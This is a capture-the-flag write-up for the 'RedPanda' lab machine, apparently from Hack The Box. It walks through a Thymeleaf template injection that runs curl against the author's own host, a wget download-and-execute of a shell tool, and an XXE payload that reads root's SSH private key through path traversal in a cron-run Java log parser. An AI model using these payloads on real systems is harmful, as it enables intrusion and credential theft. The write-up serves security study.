RedPanda is a very easy linux box. It starts with a web service that’s vulnerable to Server-side Template Injection (SSTI) using Thymeleaf to gain RCE. Privesc involves exploiting two (2) path path traversal vulnerabilites, and an XXE injection to read SSH key of root.
About
Recon
NMAP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Nmap 7.70 scan initiated Wed Aug 17 08:06:18 2022 as: nmap -sC -sV -oN nmap.txt -v 10.10.11.170
Nmap scan report for 10.10.11.170
Host is up (0.35s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8080/tcp open http-proxy
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200
| Content-Type: text/html;charset=UTF-8
| Content-Language: en-US
| Date: Wed, 17 Aug 2022 07:06:59 GMT
| Connection: close
| <!DOCTYPE html>
---[snip]---
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-title: Red Panda Search | Made with Spring Boot
1 service unrecognized despite returning data. If you know the service/version, please submit
---[snip]---
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Aug 17 08:07:45 2022 -- 1 IP address (1 host up) scanned in 86.84 seconds
Web
There is a web server running on port 8080;
The search bar seems to be working;
Testing for SQL injection and XSS didn’t yield anything. Testing for SSTI however gave an interesting result;
So I started looking up different SSTI payloads, and this article was very helpful. I was able to get blind RCE using;
1
*{T(java.lang.Runtime).getRuntime().exec('curl http://10.10.16.13/pwned')}
Attempts to directly run a BASH reverse shell one-liner kept failing. But the box has wget
, and I was able to use it to download and execute Striker, which gave me a session on the box as the user woodenk;
I was able to read the user flag in the user’s home directory (Note: most of these files are not supposed to be there. Another player is polluting the home dir with files and spoilers)
PrivEsc
The user woodenk belongs to a group called logs
. Running pspy
on the box caught something interesting;
1
2
3
4
2022/08/17 13:04:01 CMD: UID=0 PID=1707 | /usr/sbin/CRON -f
2022/08/17 13:04:01 CMD: UID=0 PID=1709 | /bin/sh /root/run_credits.sh
2022/08/17 13:04:01 CMD: UID=0 PID=1708 | /bin/sh -c /root/run_credits
2022/08/17 13:04:01 CMD: UID=0 PID=1710 | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
I found the Java source of the above program at /opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
package com.logparser;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
import com.drew.imaging.jpeg.JpegMetadataReader;
import com.drew.imaging.jpeg.JpegProcessingException;
import com.drew.metadata.Directory;
import com.drew.metadata.Metadata;
import com.drew.metadata.Tag;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;
public class App {
public static Map parseLog(String line) {
String[] strings = line.split("\\|\\|");
Map map = new HashMap<>();
map.put("status_code", Integer.parseInt(strings[0]));
map.put("ip", strings[1]);
map.put("user_agent", strings[2]);
map.put("uri", strings[3]);
return map;
}
public static boolean isImage(String filename){
if(filename.contains(".jpg"))
{
return true;
}
return false;
}
public static String getArtist(String uri) throws IOException, JpegProcessingException
{
String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
File jpgFile = new File(fullpath);
Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
for(Directory dir : metadata.getDirectories())
{
for(Tag tag : dir.getTags())
{
if(tag.getTagName() == "Artist")
{
return tag.getDescription();
}
}
}
return "N/A";
}
public static void addViewTo(String path, String uri) throws JDOMException, IOException
{
SAXBuilder saxBuilder = new SAXBuilder();
XMLOutputter xmlOutput = new XMLOutputter();
xmlOutput.setFormat(Format.getPrettyFormat());
File fd = new File(path);
Document doc = saxBuilder.build(fd);
Element rootElement = doc.getRootElement();
for(Element el: rootElement.getChildren())
{
if(el.getName() == "image")
{
if(el.getChild("uri").getText().equals(uri))
{
Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
System.out.println("Total views:" + Integer.toString(totalviews));
rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
Integer views = Integer.parseInt(el.getChild("views").getText());
el.getChild("views").setText(Integer.toString(views + 1));
}
}
}
BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
xmlOutput.output(doc, writer);
}
public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
File log_fd = new File("/opt/panda_search/redpanda.log");
Scanner log_reader = new Scanner(log_fd);
while(log_reader.hasNextLine())
{
String line = log_reader.nextLine();
if(!isImage(line))
{
continue;
}
Map parsed_data = parseLog(line);
System.out.println(parsed_data.get("uri"));
String artist = getArtist(parsed_data.get("uri").toString());
System.out.println("Artist: " + artist);
String xmlPath = "/credits/" + artist + "_creds.xml";
addViewTo(xmlPath, parsed_data.get("uri").toString());
}
}
}
Looking at the main()
function, it seems the app is processing /opt/panda_search/redpanda.log
. Looking at the file perms, we can write to it because woodenk
is in the logs
group;
Here is how the program works;
- It reads the log file one line at a time. The log is expected to be in the format:
HTTP status code|| IP address || user agent || URI
- For each line,
parseLog()
is called, which parses the log into a HashMap. - It then passes the value of
URI
togetArtist()
, which directly append the givenURI
to/opt/panda_search/src/main/resources/static
to load an image file usingJpegMetadataReader
(line 41 to 43). This makes it vulnerable to path traversal. This function returns the value ofArtist
metadata of the file as a string (line 48 to 51). - The returned value by
getArtist()
is then prefixed with/credits/
and suffixed with_creds.xml
(line 102). This exposes another path traversal bug. This is very interesting because the function parses the file given to it as XML and update it’s contents. This opens a door for potential XXE exploit.
To exploit this, I created a simple .jpg
file and set it’s Artist
metadata to ../../../../../../../dev/shm/pwn
;
I then uploaded the image file as /dev/shm/test.jpg
.
After studying the expected structure of the XML in the addViewTo()
function, I wrote an XML file that will load the SSH key of the root user if it exists;
1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY val SYSTEM "file:///root/.ssh/id_rsa">] >
<credits>
<author>author</author>
<image>
<uri>&val;</uri>
<views>7</views>
</image>
<totalviews>14</totalviews>
</credits>
I uploaded the above file as /dev/shm/pwn_creds.xml
, which will be what the program will resolve the ../../../../../../../dev/shm/pwn
payload added to the image metadata.
To trigger the exploit, I wrote the following line to the redpanda.log
;
1
404||hecker.htb||master hecker||/../../../../../../dev/shm/test.jpg
After a few seconds, I checked the contents of the pwn_creds.xml
file, and it was updated with the SSH key of the root
user;
I saved the key as root.key
on my box, and was able to login and get root flag;
Summary
- Discovered port 22 and 8080 using NMAP
- Port 8080 runs a web site with search feature.
- Vulnerable to RCE using Server-side Template Injection to get a shell as
woodenk
- Vulnerable to RCE using Server-side Template Injection to get a shell as
- Inside the box as
woodenk
;woodenk
belongs to the grouplogs
.pspy
picked up a custom Java program.- Analyzed it’s source code and found a possible XXE.
- Exploited it to fetch the SSH key of the root user.